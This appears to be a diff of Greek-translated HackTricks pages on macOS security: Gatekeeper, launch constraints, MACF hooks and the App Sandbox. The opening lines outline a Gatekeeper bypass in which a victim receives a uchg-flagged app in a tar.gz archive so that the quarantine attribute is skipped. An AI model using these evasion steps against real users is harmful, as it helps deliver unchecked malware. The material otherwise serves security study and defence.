- Δημιουργήστε έναν φάκελο που περιέχει μια εφαρμογή.
|
||||
- Δημιουργήστε έναν φάκελο που να περιέχει μια εφαρμογή.
|
||||
- Προσθέστε uchg στην εφαρμογή.
|
||||
- Συμπιέστε την εφαρμογή σε ένα αρχείο tar.gz.
|
||||
- Στείλτε το αρχείο tar.gz σε ένα θύμα.
|
||||
- Το θύμα ανοίγει το αρχείο tar.gz και εκτελεί την εφαρμογή.
|
||||
- Ο Gatekeeper δεν ελέγχει την εφαρμογή.
|
||||
|
||||
### Αποτροπή Quarantine xattr
|
||||
### Αποτροπή Καραντίνας xattr
|
||||
|
||||
Σε ένα ".app" bundle, αν το quarantine xattr δεν έχει προστεθεί σε αυτό, κατά την εκτέλεση του **ο Gatekeeper δεν θα ενεργοποιηθεί**.
|
||||
Σε ένα ".app" bundle, αν το xattr καραντίνας δεν έχει προστεθεί σε αυτό, κατά την εκτέλεσή του **ο Gatekeeper δεν θα ενεργοποιηθεί**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Οι περιορισμοί εκκίνησης στο macOS εισήχθησαν για να ενισχύσουν την ασφάλεια **ρυθμίζοντας πώς, ποιος και από πού μπορεί να ξεκινήσει μια διαδικασία**. Εισήχθησαν στο macOS Ventura, παρέχοντας ένα πλαίσιο που κατηγοριοποιεί **κάθε δυαδικό σύστημα σε διακριτές κατηγορίες περιορισμών**, οι οποίες ορίζονται μέσα στην **cache εμπιστοσύνης**, μια λίστα που περιέχει τα δυαδικά συστήματα και τους αντίστοιχους κατακερματισμούς τους. Αυτοί οι περιορισμοί επεκτείνονται σε κάθε εκτελέσιμο δυαδικό αρχείο μέσα στο σύστημα, περιλαμβάνοντας ένα σύνολο **κανόνων** που καθορίζουν τις απαιτήσεις για **την εκκίνηση ενός συγκεκριμένου δυαδικού αρχείου**. Οι κανόνες περιλαμβάνουν αυτοπεριορισμούς που πρέπει να ικανοποιεί ένα δυαδικό αρχείο, περιορισμούς γονέα που απαιτείται να πληρούνται από τη γονική διαδικασία του, και υπεύθυνους περιορισμούς που πρέπει να τηρούνται από άλλες σχετικές οντότητες.
|
||||
Οι περιορισμοί εκκίνησης στο macOS εισήχθησαν για να ενισχύσουν την ασφάλεια **ρυθμίζοντας πώς, ποιος και από πού μπορεί να ξεκινήσει μια διαδικασία**. Εισήχθησαν στο macOS Ventura, παρέχοντας ένα πλαίσιο που κατηγοριοποιεί **κάθε δυαδικό σύστημα σε διακριτές κατηγορίες περιορισμών**, οι οποίες ορίζονται μέσα στην **cache εμπιστοσύνης**, μια λίστα που περιέχει τα δυαδικά συστήματα και τους αντίστοιχους κατακερματισμούς τους. Αυτοί οι περιορισμοί επεκτείνονται σε κάθε εκτελέσιμο δυαδικό αρχείο μέσα στο σύστημα, περιλαμβάνοντας ένα σύνολο **κανόνων** που καθορίζουν τις απαιτήσεις για **την εκκίνηση ενός συγκεκριμένου δυαδικού αρχείου**. Οι κανόνες περιλαμβάνουν αυτοπεριορισμούς που πρέπει να ικανοποιεί ένα δυαδικό αρχείο, περιορισμούς γονέα που απαιτείται να πληρούνται από τη γονική διαδικασία του, και υπεύθυνους περιορισμούς που πρέπει να τηρούνται από άλλες σχετικές οντότητες.
|
||||
|
||||
Ο μηχανισμός επεκτείνεται σε εφαρμογές τρίτων μέσω των **Περιορισμών Περιβάλλοντος**, ξεκινώντας από το macOS Sonoma, επιτρέποντας στους προγραμματιστές να προστατεύουν τις εφαρμογές τους καθορίζοντας ένα **σύνολο κλειδιών και τιμών για περιορισμούς περιβάλλοντος.**
|
||||
|
||||
@ -75,7 +75,7 @@ codesign -d -vvvv app.app
|
||||
Και στο iOS φαίνεται ότι βρίσκεται στο **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Στο macOS που τρέχει σε συσκευές Apple Silicon, αν ένα Apple signed binary δεν είναι στο trust cache, το AMFI θα αρνηθεί να το φορτώσει.
|
||||
> Στο macOS που τρέχει σε συσκευές Apple Silicon, αν ένα υπογεγραμμένο δυαδικό αρχείο από την Apple δεν είναι στο trust cache, το AMFI θα αρνηθεί να το φορτώσει.
|
||||
|
||||
### Enumerating Trust Caches
|
||||
|
||||
@ -133,17 +133,17 @@ uint8_t constraintCategory;
|
||||
uint8_t reserved0;
|
||||
} __attribute__((__packed__));
|
||||
```
|
||||
Τότε, θα μπορούσατε να χρησιμοποιήσετε ένα σενάριο όπως [**αυτό**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) για να εξάγετε δεδομένα.
|
||||
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε ένα σενάριο όπως [**αυτό**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) για να εξαγάγετε δεδομένα.
|
||||
|
||||
Από αυτά τα δεδομένα μπορείτε να ελέγξετε τις εφαρμογές με **τιμή περιορισμών εκκίνησης `0`**, οι οποίες είναι αυτές που δεν περιορίζονται ([**ελέγξτε εδώ**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) για το τι είναι κάθε τιμή).
|
||||
|
||||
## Επιχειρησιακές Μετρήσεις
|
||||
## Mitigations Επιθέσεων
|
||||
|
||||
Οι περιορισμοί εκκίνησης θα είχαν μετριάσει πολλές παλιές επιθέσεις **διασφαλίζοντας ότι η διαδικασία δεν θα εκτελείται σε απροσδόκητες συνθήκες:** Για παράδειγμα από απροσδόκητες τοποθεσίες ή να καλείται από μια απροσδόκητη γονική διαδικασία (αν μόνο το launchd θα έπρεπε να την εκκινεί)
|
||||
Οι περιορισμοί εκκίνησης θα είχαν μετριάσει πολλές παλιές επιθέσεις **διασφαλίζοντας ότι η διαδικασία δεν θα εκτελείται σε απροσδόκητες συνθήκες:** Για παράδειγμα από απροσδόκητες τοποθεσίες ή να καλείται από μια απροσδόκητη γονική διαδικασία (αν μόνο το launchd θα έπρεπε να την εκκινεί).
|
||||
|
||||
Επιπλέον, οι περιορισμοί εκκίνησης **μετριάζουν επίσης τις επιθέσεις υποβάθμισης.**
|
||||
|
||||
Ωστόσο, **δεν μετριάζουν τις κοινές καταχρήσεις XPC**, **εισαγωγές κώδικα Electron** ή **εισαγωγές dylib** χωρίς έλεγχο βιβλιοθήκης (εκτός αν είναι γνωστά τα IDs ομάδας που μπορούν να φορτώσουν βιβλιοθήκες).
|
||||
Ωστόσο, **δεν μετριάζουν τις κοινές καταχρήσεις XPC**, **εισβολές κώδικα Electron** ή **εισβολές dylib** χωρίς έλεγχο βιβλιοθήκης (εκτός αν είναι γνωστά τα IDs ομάδας που μπορούν να φορτώσουν βιβλιοθήκες).
|
||||
|
||||
### Προστασία Daemon XPC
|
||||
|
||||
@ -152,7 +152,7 @@ uint8_t reserved0;
|
||||
- **Εκκίνηση της Υπηρεσίας XPC**: Αν θεωρηθεί σφάλμα, αυτή η ρύθμιση δεν επιτρέπει την εκκίνηση της υπηρεσίας XPC μέσω κώδικα επιτιθέμενου.
|
||||
- **Σύνδεση σε Μια Ενεργή Υπηρεσία**: Αν η υπηρεσία XPC είναι ήδη σε λειτουργία (πιθανώς ενεργοποιημένη από την αρχική της εφαρμογή), δεν υπάρχουν εμπόδια για τη σύνδεση σε αυτήν.
|
||||
|
||||
Ενώ η εφαρμογή περιορισμών στην υπηρεσία XPC μπορεί να είναι ωφέλιμη **μειώνοντας το παράθυρο για πιθανές επιθέσεις**, δεν αντιμετωπίζει την κύρια ανησυχία. Η διασφάλιση της ασφάλειας της υπηρεσίας XPC απαιτεί θεμελιωδώς **έλεγχο του συνδεδεμένου πελάτη αποτελεσματικά**. Αυτό παραμένει η μοναδική μέθοδος για την ενίσχυση της ασφάλειας της υπηρεσίας. Επίσης, αξίζει να σημειωθεί ότι η αναφερόμενη διαμόρφωση ευθύνης είναι αυτή τη στιγμή λειτουργική, κάτι που μπορεί να μην ευθυγραμμίζεται με τον προγραμματισμένο σχεδιασμό.
|
||||
Ενώ η εφαρμογή περιορισμών στην υπηρεσία XPC μπορεί να είναι ωφέλιμη **συμπιέζοντας το παράθυρο για πιθανές επιθέσεις**, δεν αντιμετωπίζει την κύρια ανησυχία. Η διασφάλιση της ασφάλειας της υπηρεσίας XPC απαιτεί θεμελιωδώς **έλεγχο του συνδεδεμένου πελάτη αποτελεσματικά**. Αυτή παραμένει η μοναδική μέθοδος για την ενίσχυση της ασφάλειας της υπηρεσίας. Επίσης, αξίζει να σημειωθεί ότι η αναφερόμενη διαμόρφωση ευθύνης είναι αυτή τη στιγμή λειτουργική, κάτι που μπορεί να μην ευθυγραμμίζεται με τον προγραμματισμένο σχεδιασμό.
|
||||
|
||||
### Προστασία Electron
|
||||
|
||||
|
||||
@ -6,14 +6,14 @@
|
||||
|
||||
**MACF** σημαίνει **Mandatory Access Control Framework**, το οποίο είναι ένα σύστημα ασφαλείας ενσωματωμένο στο λειτουργικό σύστημα για να βοηθήσει στην προστασία του υπολογιστή σας. Λειτουργεί θέτοντας **αυστηρούς κανόνες σχετικά με το ποιος ή τι μπορεί να έχει πρόσβαση σε ορισμένα μέρη του συστήματος**, όπως αρχεία, εφαρμογές και πόρους συστήματος. Εφαρμόζοντας αυτούς τους κανόνες αυτόματα, το MACF διασφαλίζει ότι μόνο οι εξουσιοδοτημένοι χρήστες και διαδικασίες μπορούν να εκτελούν συγκεκριμένες ενέργειες, μειώνοντας τον κίνδυνο μη εξουσιοδοτημένης πρόσβασης ή κακόβουλων δραστηριοτήτων.
|
||||
|
||||
Σημειώστε ότι το MACF δεν παίρνει πραγματικά αποφάσεις καθώς απλώς **παρεμβαίνει** σε ενέργειες, αφήνει τις αποφάσεις στα **modules πολιτικής** (επέκταση πυρήνα) που καλεί όπως `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` και `mcxalr.kext`.
|
||||
Σημειώστε ότι το MACF δεν παίρνει πραγματικά αποφάσεις καθώς απλώς **παρεμβαίνει** σε ενέργειες, αφήνει τις αποφάσεις στα **πολιτικά modules** (επέκταση πυρήνα) που καλεί όπως `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` και `mcxalr.kext`.
|
||||
|
||||
### Flow
|
||||
|
||||
1. Η διαδικασία εκτελεί μια syscall/mach trap
|
||||
2. Η σχετική λειτουργία καλείται μέσα στον πυρήνα
|
||||
3. Η λειτουργία καλεί το MACF
|
||||
4. Το MACF ελέγχει τα modules πολιτικής που ζήτησαν να συνδεθούν με αυτή τη λειτουργία στην πολιτική τους
|
||||
4. Το MACF ελέγχει τα πολιτικά modules που ζήτησαν να συνδεθούν με αυτή τη λειτουργία στην πολιτική τους
|
||||
5. Το MACF καλεί τις σχετικές πολιτικές
|
||||
6. Οι πολιτικές υποδεικνύουν αν επιτρέπουν ή αρνούνται την ενέργεια
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
|
||||
### Labels
|
||||
|
||||
Το MACF χρησιμοποιεί **ετικέτες** που στη συνέχεια οι πολιτικές ελέγχουν αν θα χορηγήσουν κάποια πρόσβαση ή όχι. Ο κώδικας της δήλωσης δομής των ετικετών μπορεί να βρεθεί [εδώ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), ο οποίος χρησιμοποιείται στη συνέχεια μέσα στη **`struct ucred`** [**εδώ**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) στο μέρος **`cr_label`**. Η ετικέτα περιέχει σημαίες και έναν αριθμό **slots** που μπορούν να χρησιμοποιηθούν από **πολιτικές MACF για την κατανομή δεικτών**. Για παράδειγμα, το Sandbox θα δείχνει στο προφίλ του κοντέινερ.
|
||||
Το MACF χρησιμοποιεί **ετικέτες** που στη συνέχεια οι πολιτικές ελέγχουν αν θα χορηγήσουν κάποια πρόσβαση ή όχι. Ο κώδικας της δήλωσης δομής των ετικετών μπορεί να βρεθεί [εδώ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), ο οποίος χρησιμοποιείται στη συνέχεια μέσα στη **`struct ucred`** [**εδώ**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) στο μέρος **`cr_label`**. Η ετικέτα περιέχει σημαίες και έναν αριθμό **slots** που μπορούν να χρησιμοποιηθούν από **πολιτικές MACF για να εκχωρήσουν δείκτες**. Για παράδειγμα, το Sandbox θα δείχνει στο προφίλ του κοντέινερ.
|
||||
|
||||
## MACF Policies
|
||||
|
||||
@ -69,7 +69,7 @@ void *mpc_data; /** module data */
|
||||
|
||||
Σημειώστε ότι οι πολιτικές MACF μπορούν να καταχωρηθούν και να αποσυρθούν επίσης **δυναμικά**.
|
||||
|
||||
Ένα από τα κύρια πεδία της `mac_policy_conf` είναι το **`mpc_ops`**. Αυτό το πεδίο καθορίζει ποιες λειτουργίες ενδιαφέρει η πολιτική. Σημειώστε ότι υπάρχουν εκατοντάδες από αυτές, οπότε είναι δυνατό να μηδενιστούν όλες και στη συνέχεια να επιλεγούν μόνο αυτές που ενδιαφέρει η πολιτική. Από [εδώ](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
|
||||
Ένα από τα κύρια πεδία της `mac_policy_conf` είναι το **`mpc_ops`**. Αυτό το πεδίο καθορίζει ποιες λειτουργίες ενδιαφέρει η πολιτική. Σημειώστε ότι υπάρχουν εκατοντάδες από αυτές, οπότε είναι δυνατό να μηδενιστούν όλες και στη συνέχεια να επιλεγούν μόνο αυτές που ενδιαφέρουν την πολιτική. Από [εδώ](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
|
||||
```c
|
||||
struct mac_policy_ops {
|
||||
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
|
||||
@ -82,7 +82,7 @@ mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
|
||||
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
|
||||
[...]
|
||||
```
|
||||
Σχεδόν όλοι οι hooks θα καλούνται από το MACF όταν μία από αυτές τις λειτουργίες παρεμποδίζεται. Ωστόσο, οι **`mpo_policy_*`** hooks είναι μια εξαίρεση επειδή το `mpo_hook_policy_init()` είναι μια callback που καλείται κατά την εγγραφή (δηλαδή μετά το `mac_policy_register()`) και το `mpo_hook_policy_initbsd()` καλείται κατά την καθυστερημένη εγγραφή μόλις το BSD υποσύστημα έχει αρχικοποιηθεί σωστά.
|
||||
Σχεδόν όλοι οι hooks θα καλούνται από το MACF όταν μία από αυτές τις λειτουργίες παρεμποδίζεται. Ωστόσο, οι **`mpo_policy_*`** hooks είναι μια εξαίρεση επειδή το `mpo_hook_policy_init()` είναι ένα callback που καλείται κατά την εγγραφή (δηλαδή μετά το `mac_policy_register()`) και το `mpo_hook_policy_initbsd()` καλείται κατά την καθυστερημένη εγγραφή μόλις το BSD υποσύστημα έχει αρχικοποιηθεί σωστά.
|
||||
|
||||
Επιπλέον, το **`mpo_policy_syscall`** hook μπορεί να εγγραφεί από οποιοδήποτε kext για να εκθέσει μια ιδιωτική **ioctl** στυλ κλήση **interface**. Στη συνέχεια, ένας πελάτης χρήστη θα μπορεί να καλέσει το `mac_syscall` (#381) καθορίζοντας ως παραμέτρους το **όνομα πολιτικής** με έναν ακέραιο **κωδικό** και προαιρετικά **ορίσματα**.\
|
||||
Για παράδειγμα, το **`Sandbox.kext`** το χρησιμοποιεί πολύ.
|
||||
@ -91,13 +91,13 @@ mpo_cred_check_label_update_t *mpo_cred_check_label_update;
|
||||
|
||||
Επιπλέον, είναι επίσης δυνατό να αποκτήσετε τη λίστα των kexts που έχουν ρυθμίσει μια πολιτική εκ dumping από τη μνήμη της δομής **`_mac_policy_list`** που ενημερώνεται με κάθε πολιτική που εγγράφεται.
|
||||
|
||||
## MACF Initialization
|
||||
## MACF Αρχικοποίηση
|
||||
|
||||
Το MACF αρχικοποιείται πολύ νωρίς. Ρυθμίζεται στο `bootstrap_thread` του XNU: μετά το `ipc_bootstrap` καλείται το `mac_policy_init()` που αρχικοποιεί τη λίστα `mac_policy_list` και λίγο αργότερα καλείται το `mac_policy_initmach()`. Μεταξύ άλλων, αυτή η συνάρτηση θα αποκτήσει όλα τα Apple kexts με το κλειδί `AppleSecurityExtension` στο Info.plist τους όπως το `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` και `TMSafetyNet.kext` και τα φορτώνει.
|
||||
|
||||
## MACF Callouts
|
||||
## MACF Κλήσεις
|
||||
|
||||
Είναι κοινό να βρείτε callouts στο MACF που ορίζονται σε κώδικα όπως: **`#if CONFIG_MAC`** μπλοκ συνθηκών. Επιπλέον, μέσα σε αυτά τα μπλοκ είναι δυνατό να βρείτε κλήσεις σε `mac_proc_check*` που καλεί το MACF για **έλεγχο δικαιωμάτων** για την εκτέλεση ορισμένων ενεργειών. Επιπλέον, η μορφή των callouts του MACF είναι: **`mac_<object>_<opType>_opName`**.
|
||||
Είναι κοινό να βρείτε κλήσεις στο MACF που ορίζονται στον κώδικα όπως: **`#if CONFIG_MAC`** μπλοκ συνθηκών. Επιπλέον, μέσα σε αυτά τα μπλοκ είναι δυνατό να βρείτε κλήσεις σε `mac_proc_check*` που καλούν το MACF για **έλεγχο δικαιωμάτων** για την εκτέλεση ορισμένων ενεργειών. Επιπλέον, η μορφή των κλήσεων MACF είναι: **`mac_<object>_<opType>_opName`**.
|
||||
|
||||
Το αντικείμενο είναι ένα από τα εξής: `bpfdesc`, `cred`, `file`, `proc`, `vnode`, `mount`, `devfs`, `ifnet`, `inpcb`, `mbuf`, `ipq`, `pipe`, `sysv[msg/msq/shm/sem]`, `posix[shm/sem]`, `socket`, `kext`.\
|
||||
Ο `opType` είναι συνήθως check που θα χρησιμοποιηθεί για να επιτρέψει ή να αρνηθεί την ενέργεια. Ωστόσο, είναι επίσης δυνατό να βρείτε `notify`, που θα επιτρέψει στο kext να αντιδράσει στην δεδομένη ενέργεια.
|
||||
@ -157,17 +157,18 @@ error = mac_error_select(__step_err, error); \
|
||||
}); \
|
||||
} while (0)
|
||||
```
|
||||
Ποια θα περάσει από όλες τις καταγεγραμμένες πολιτικές mac καλώντας τις συναρτήσεις τους και αποθηκεύοντας την έξοδο μέσα στη μεταβλητή error, η οποία θα μπορεί να παρακαμφθεί μόνο από το `mac_error_select` με κωδικούς επιτυχίας, έτσι ώστε αν οποιαδήποτε έλεγχος αποτύχει, ο συνολικός έλεγχος θα αποτύχει και η ενέργεια δεν θα επιτρέπεται.
|
||||
Ποια θα περάσει από όλες τις καταχωρημένες πολιτικές mac καλώντας τις συναρτήσεις τους και αποθηκεύοντας την έξοδο μέσα στη μεταβλητή error, η οποία θα μπορεί να παρακαμφθεί μόνο από το `mac_error_select` με κωδικούς επιτυχίας, έτσι ώστε αν οποιαδήποτε έλεγχος αποτύχει, ο συνολικός έλεγχος θα αποτύχει και η ενέργεια δεν θα επιτρέπεται.
|
||||
|
||||
> [!TIP]
|
||||
> Ωστόσο, θυμηθείτε ότι δεν χρησιμοποιούνται όλες οι κλήσεις MACF μόνο για να αρνηθούν ενέργειες. Για παράδειγμα, η `mac_priv_grant` καλεί το μακρο [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274), το οποίο θα παραχωρήσει το ζητούμενο προνόμιο αν οποιαδήποτε πολιτική απαντήσει με 0:
|
||||
> Ωστόσο, θυμηθείτε ότι δεν καλούνται όλες οι κλήσεις MACF μόνο για να αρνηθούν ενέργειες. Για παράδειγμα, η `mac_priv_grant` καλεί το μακροεντολή [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274), η οποία θα παραχωρήσει το ζητούμενο προνόμιο αν οποιαδήποτε πολιτική απαντήσει με 0:
|
||||
>
|
||||
> ```c
|
||||
> /*
|
||||
> * MAC_GRANT εκτελεί τον καθορισμένο έλεγχο περπατώντας τη λίστα
|
||||
> * των πολιτικών και ελέγχοντας με κάθε μία πώς αισθάνεται για το
|
||||
> * αίτημα. Σε αντίθεση με το MAC_CHECK, παραχωρεί αν οποιεσδήποτε πολιτικές επιστρέψουν '0',
|
||||
> * και αλλιώς επιστρέφει EPERM. Σημειώστε ότι επιστρέφει την τιμή του μέσω
|
||||
> * των πολιτικών και ελέγχοντας με κάθε μία σχετικά με το πώς
|
||||
> * αισθάνεται για το αίτημα. Σε αντίθεση με το MAC_CHECK, παραχωρεί
|
||||
> * αν οποιεσδήποτε πολιτικές επιστρέψουν '0', και αλλιώς επιστρέφει EPERM.
|
||||
> * Σημειώστε ότι επιστρέφει την τιμή του μέσω του
|
||||
> * 'error' στο πεδίο του καλούντος.
|
||||
> */
|
||||
> #define MAC_GRANT(check, args...) do { \
|
||||
@ -188,11 +189,11 @@ error = mac_error_select(__step_err, error); \
|
||||
### priv_check & priv_grant
|
||||
|
||||
Αυτές οι κλήσεις προορίζονται να ελέγξουν και να παρέχουν (δεκάδες) **προνόμια** που ορίζονται στο [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h).\
|
||||
Ορισμένος κωδικός πυρήνα θα καλούσε το `priv_check_cred()` από [**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c) με τα διαπιστευτήρια KAuth της διαδικασίας και έναν από τους κωδικούς προνομίων που θα καλούσε το `mac_priv_check` για να δει αν οποιαδήποτε πολιτική **αρνείται** να δώσει το προνόμιο και στη συνέχεια καλεί το `mac_priv_grant` για να δει αν οποιαδήποτε πολιτική παραχωρεί το `privilege`.
|
||||
Ορισμένος κώδικας πυρήνα θα καλούσε το `priv_check_cred()` από [**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c) με τα διαπιστευτήρια KAuth της διαδικασίας και έναν από τους κωδικούς προνομίων που θα καλούσε το `mac_priv_check` για να δει αν οποιαδήποτε πολιτική **αρνείται** να δώσει το προνόμιο και στη συνέχεια καλεί το `mac_priv_grant` για να δει αν οποιαδήποτε πολιτική παραχωρεί το `privilege`.
|
||||
|
||||
### proc_check_syscall_unix
|
||||
|
||||
Αυτή η υποδοχή επιτρέπει την παρεμβολή σε όλες τις κλήσεις συστήματος. Στο `bsd/dev/[i386|arm]/systemcalls.c` είναι δυνατόν να δείτε τη δηλωμένη συνάρτηση [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25), η οποία περιέχει αυτόν τον κωδικό:
|
||||
Αυτή η κλήση επιτρέπει την παρεμβολή σε όλες τις κλήσεις συστήματος. Στο `bsd/dev/[i386|arm]/systemcalls.c` είναι δυνατόν να δει κανείς τη δηλωμένη συνάρτηση [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25), η οποία περιέχει αυτόν τον κώδικα:
|
||||
```c
|
||||
#if CONFIG_MACF
|
||||
if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) {
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
Οποιαδήποτε εφαρμογή έχει την **εξουσιοδότηση** **`com.apple.security.app-sandbox`** θα εκτελείται μέσα στο sandbox. **Οι δυαδικοί κώδικες της Apple** εκτελούνται συνήθως μέσα σε ένα Sandbox, και όλες οι εφαρμογές από το **App Store έχουν αυτή την εξουσιοδότηση**. Έτσι, πολλές εφαρμογές θα εκτελούνται μέσα στο sandbox.
|
||||
|
||||
Για να ελέγξει τι μπορεί ή δεν μπορεί να κάνει μια διαδικασία, το **Sandbox έχει hooks** σε σχεδόν οποιαδήποτε λειτουργία μπορεί να προσπαθήσει μια διαδικασία (συμπεριλαμβανομένων των περισσότερων syscalls) χρησιμοποιώντας **MACF**. Ωστόσο, **ανάλογα** με τις **εξουσιοδοτήσεις** της εφαρμογής, το Sandbox μπορεί να είναι πιο επιεικές με τη διαδικασία.
|
||||
Για να ελέγξει τι μπορεί ή δεν μπορεί να κάνει μια διαδικασία, το **Sandbox έχει hooks** σε σχεδόν οποιαδήποτε λειτουργία μπορεί να προσπαθήσει μια διαδικασία (συμπεριλαμβανομένων των περισσότερων syscalls) χρησιμοποιώντας **MACF**. Ωστόσο, **ανάλογα** με τις **εξουσιοδοτήσεις** της εφαρμογής, το Sandbox μπορεί να είναι πιο επιεικής με τη διαδικασία.
|
||||
|
||||
Ορισμένα σημαντικά στοιχεία του Sandbox είναι:
|
||||
|
||||
@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
||||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
Μέσα σε κάθε φάκελο bundle id μπορείτε να βρείτε το **plist** και τον **φάκελο Δεδομένων** της εφαρμογής με μια δομή που μιμείται τον φάκελο Home:
|
||||
Μέσα σε κάθε φάκελο bundle id μπορείτε να βρείτε το **plist** και τον **Κατάλογο Δεδομένων** της εφαρμογής με μια δομή που μιμείται τον φάκελο Home:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
@ -106,11 +106,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||
[...]
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ό,τι δημιουργείται/τροποποιείται από μια εφαρμογή που είναι σε Sandbox θα αποκτήσει το **quarantine attribut**e. Αυτό θα αποτρέψει έναν χώρο sandbox ενεργοποιώντας τον Gatekeeper αν η εφαρμογή sandbox προσπαθήσει να εκτελέσει κάτι με **`open`**.
|
||||
> Ό,τι δημιουργείται/τροποποιείται από μια εφαρμογή που είναι σε Sandbox θα αποκτήσει το **quarantine attribute**. Αυτό θα αποτρέψει έναν χώρο sandbox ενεργοποιώντας τον Gatekeeper αν η εφαρμογή sandbox προσπαθήσει να εκτελέσει κάτι με **`open`**.
|
||||
|
||||
## Sandbox Profiles
|
||||
|
||||
Τα Sandbox profiles είναι αρχεία ρύθμισης που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Sandbox Profile Language (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>).
|
||||
Τα Sandbox profiles είναι αρχεία ρυθμίσεων που υποδεικνύουν τι θα είναι **επιτρεπτό/απαγορευμένο** σε αυτό το **Sandbox**. Χρησιμοποιεί τη **Sandbox Profile Language (SBPL)**, η οποία χρησιμοποιεί τη γλώσσα προγραμματισμού [**Scheme**](<https://en.wikipedia.org/wiki/Scheme_(programming_language)>).
|
||||
|
||||
Εδώ μπορείτε να βρείτε ένα παράδειγμα:
|
||||
```scheme
|
||||
@ -131,11 +131,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
> Δείτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να δείτε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.**
|
||||
> Δείτε αυτήν την [**έρευνα**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **για να ελέγξετε περισσότερες ενέργειες που θα μπορούσαν να επιτραπούν ή να απορριφθούν.**
|
||||
>
|
||||
> Σημειώστε ότι στην συμπιεσμένη έκδοση ενός προφίλ, τα ονόματα των λειτουργιών αντικαθίστανται από τις καταχωρίσεις τους σε έναν πίνακα που είναι γνωστός από το dylib και το kext, καθιστώντας την συμπιεσμένη έκδοση πιο σύντομη και πιο δύσκολη στην ανάγνωση.
|
||||
|
||||
Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα στο δικό τους προσαρμοσμένο **sandbox**, όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε:
|
||||
Σημαντικές **υπηρεσίες συστήματος** εκτελούνται επίσης μέσα σε δικό τους προσαρμοσμένο **sandbox** όπως η υπηρεσία `mdnsresponder`. Μπορείτε να δείτε αυτά τα προσαρμοσμένα **προφίλ sandbox** μέσα σε:
|
||||
|
||||
- **`/usr/share/sandbox`**
|
||||
- **`/System/Library/Sandbox/Profiles`**
|
||||
@ -149,7 +149,7 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
||||
|
||||
### Παραδείγματα Προφίλ Sandbox
|
||||
|
||||
Για να ξεκινήσετε μια εφαρμογή με ένα **συγκεκριμένο προφίλ sandbox**, μπορείτε να χρησιμοποιήσετε:
|
||||
Για να ξεκινήσετε μια εφαρμογή με ένα **συγκεκριμένο προφίλ sandbox** μπορείτε να χρησιμοποιήσετε:
|
||||
